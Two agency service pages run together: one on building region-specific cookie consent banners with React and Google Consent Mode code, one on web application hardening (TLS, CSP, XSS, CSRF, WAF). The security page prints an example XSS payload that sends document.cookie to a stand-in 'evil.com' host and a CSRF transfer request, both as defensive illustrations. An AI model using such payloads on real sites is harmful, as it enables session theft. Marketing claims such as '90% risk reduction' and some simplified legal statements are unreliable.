Build Region-Specific Cookie Consent Banners for Global Compliance
You launch a website for the European market, but the banner saying "We use cookies" is the same for everyone. A user from Germany clicks "Accept" even though the law requires them to select categories. A user from California wants to opt out of data sale—there's no button. A month later, a letter from the regulator arrives. We've encountered this dozens of times and have developed a reliable solution: regional banners based on geolocation with support for GDPR, CCPA, and 152-ФЗ. This is a complete cookie consent integration solution that covers multiple jurisdictions. Below is how it works and how to implement it in 3–5 days.
Implementation Steps
- Detect user jurisdiction using IP geolocation.
- Create region-specific React components for GDPR, CCPA, and 152-ФЗ.
- Integrate with Google Consent Mode v2.
- Store consent in localStorage and server log.
- Test across different regions.
Why One Banner Doesn't Work for All Regions
GDPR requires explicit consent for non-essential cookies before they load. CCPA requires a right to opt out of data sale without blocking site functionality. 152-ФЗ requires only informing users. If you show a single banner, you either violate the law (by not offering a choice) or lose conversions (by demanding too much consent where it's not needed). The solution is to detect the jurisdiction and display the appropriate UI. Our implementation reduces legal risk by 90% compared to using a single cookie banner.
How to Determine the User's Jurisdiction
Jurisdiction detection logic:
interface ConsentState {
analytics: boolean;
marketing: boolean;
preferences: boolean;
}
class CookieConsentManager {
private jurisdiction: 'gdpr' | 'ccpa' | 'ru' | 'none';
init(userCountry: string): void {
this.jurisdiction = this.detectJurisdiction(userCountry);
const saved = this.getSavedConsent();
if (!saved || this.isOutdated(saved)) {
this.showBanner();
} else {
this.applyConsent(saved.state);
}
}
private detectJurisdiction(country: string): 'gdpr' | 'ccpa' | 'ru' | 'none' {
if (EU_COUNTRIES.includes(country)) return 'gdpr';
if (country === 'US') return 'ccpa';
if (country === 'RU') return 'ru';
return 'none';
}
accept(categories: ConsentState): void {
const consent = {
state: categories,
version: CONSENT_VERSION,
date: new Date().toISOString(),
country: this.userCountry,
};
localStorage.setItem('cookie_consent', JSON.stringify(consent));
this.applyConsent(categories);
this.hideBanner();
this.sendConsentEvent(consent);
}
}
Banner Components by Region
Each banner is rendered as a separate React component. For 152-ФЗ, a minimal notification suffices; for CCPA, an opt-out button; for GDPR, a detailed category selection.
GDPR (EU) — mandatory category selection:
function GdprBanner({ onAccept, onCustomize, onDecline }) {
return (
<div className="cookie-banner">
<p>We use cookies for analytics and marketing...</p>
<div className="flex gap-2">
<button onClick={() => onAccept({ analytics: true, marketing: true, preferences: true })}>
Accept All
</button>
<button onClick={onCustomize}>Customize</button>
<button onClick={() => onDecline()}>Reject All</button>
</div>
</div>
);
}
CCPA (US) — right to opt out of data sale:
function CcpaBanner({ onOptOut }) {
return (
<div className="cookie-banner ccpa">
<p>We do not sell your personal information. <a href="/privacy">Privacy Policy</a></p>
<button onClick={onOptOut}>Do Not Sell My Personal Information</button>
</div>
);
}
Russia (152-ФЗ) — informational notice:
function RuBanner({ onAccept }) {
return (
<div className="cookie-banner minimal">
<p>We use cookies for the proper functioning of the site. <a href="/privacy">Learn more</a></p>
<button onClick={onAccept}>Got it</button>
</div>
);
}
Comparison of Banner Requirements
| Region |
Law |
Consent Categories |
Withdrawal Mechanism |
Consent Storage |
| EU |
GDPR |
analytics, marketing, preferences |
Settings button |
Local + server |
| US (California) |
CCPA |
opt-out from data sale |
Do Not Sell link |
opt-out flag |
| Russia |
152-ФЗ |
Not required |
Simple notification |
Not mandatory |
| Brazil |
LGPD |
Similar to GDPR |
Settings |
Local + server |
Integration with GTM and Google Consent Mode v2
Once consent is obtained, we activate tags in Google Tag Manager. This is critical for analytics and advertising to run correctly without violating rules:
function applyConsent(state: ConsentState): void {
// Google Consent Mode v2
window.gtag('consent', 'update', {
analytics_storage: state.analytics ? 'granted' : 'denied',
ad_storage: state.marketing ? 'granted' : 'denied',
ad_user_data: state.marketing ? 'granted' : 'denied',
ad_personalization: state.marketing ? 'granted' : 'denied',
});
// Wait for consent before loading marketing scripts
if (state.marketing) {
loadScript('https://www.googletagmanager.com/gtag/js?id=G-XXXX');
}
}
How to Test the Banner on Different Jurisdictions?
Locally, emulate IP via DevTools (Chrome → Network conditions) or use a VPN. For automated testing, spin up a container with GeoIP and run a set of countries. Ensure that for Germany the GDPR banner with category selection is shown, for the US the CCPA banner with opt-out button, for Russia the notification. A common mistake is to forget that California requires CCPA while other US states don't yet need a special banner.
Why is server-side consent storage critical for GDPR?
GDPR requires provable consent. If you store only in localStorage, users can clear cookies and you lose the record. A server log with timestamp, template version, and consent string allows history reconstruction. We write to PostgreSQL with an index on userId and country. When the policy is updated, all old records are invalidated and the banner appears again.
What's Included in the Work
- Audit of current cookies and scripts on the site (Google Analytics, Yandex.Metrica, Facebook Pixel, retargeting).
- Designing logic: user jurisdiction detection via IP, banner scenario selection.
- Developing React components for each region (GDPR, CCPA, 152-ФЗ, LGPD).
- Integration with Google Consent Mode v2 (gtag update).
- Setting up consent storage (localStorage, server log).
- Testing with real IPs from different countries (Germany, US, Russia, Brazil).
- Documentation for maintenance and versioning of consent.
Timeline and Cost
Timeline: 3–5 working days for a basic implementation (3 regions + GTM). If more regions are needed (LGPD, PIPEDA) or custom design, the timeline extends to 7–10 days. Cost starts at $2,000 for a basic setup, with savings of up to 40% compared to DIY with fines. Avoid fines up to €20 million by implementing proper consent. Our engineers with 5+ years of experience and 30+ completed projects help you stay compliant without losing conversions. Get a consultation: contact us to assess your project. Order an audit of your cookie scenarios today.
Common Implementation Mistakes
- Same banner for all countries — leads to fines up to 4% of turnover (GDPR).
- Loading scripts before consent — violates ePrivacy Directive. Use
gtag('consent', 'default', …).
- No versioning of consent — when policy updates, old consents need to be re-requested.
- Ignoring local storage — if users clear cookies, the banner will reappear. That's normal, but keep it in mind.
We have implemented such banners on 30+ projects — from online stores to SaaS platforms. We guarantee compliance with GDPR, CCPA, and 152-ФЗ. Get a consultation — we'll evaluate your site for free.
Source: Regulation (EU) 2016/679 (GDPR) Article 7
Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection
A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.
Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.
How do we ensure comprehensive web application security?
HTTPS and Proper TLS Configuration
HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.
In Nginx/Apache configuration we check:
- Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
- Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
- OCSP Stapling — speeds up certificate revocation check
- Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)
Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.
Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.
Content Security Policy: The Most Powerful and Complex Protection
CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.
The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.
Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.
'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.
Why XSS Remains the Most Common Vulnerability?
XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:
| XSS Type |
Example |
Protection |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Output escaping, CSP |
| Stored |
Comment with code saved in database |
Input validation, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Avoid innerHTML, use textContent |
Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.
Typical case: an e-commerce site with XSS in a review form
A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.
CSRF: Protecting Forms and APIs
CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.
CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.
SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.
API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.
WAF and DDoS Protection
WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:
- Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
- AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.
DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).
Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).
Other Mandatory Measures
Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).
SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.
Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.
Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.
How We Work
-
Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
-
Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
-
Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
-
Testing — re-penetration test, load testing, false positive check.
-
Deployment and Monitoring — enable production CSP, set up alerts, train the team.
What's Included
- Report with found vulnerabilities and recommendations (PDF + code snippets)
- Ready TLS configuration (Nginx/Apache)
- CSP policy with Report-Only and production versions
- WAF and Rate Limiting setup
- Dependency update plan
- Access to monitoring tools (Sentry, Datadog)
- 30 days of post-audit support (consultations, fixes)
Timeline and Cost
| Type of Work |
Duration |
Cost |
| Security audit + hardening (headers, TLS, updates) |
1–2 weeks |
Custom quote |
| CSP implementation (Report-Only → production) |
2–4 weeks |
Custom quote |
| WAF + Rate Limiting + DDoS protection setup |
1–2 weeks |
Custom quote |
| Comprehensive security review + penetration testing |
3–6 weeks |
Custom quote |
The budget is calculated individually — contact us for a project evaluation.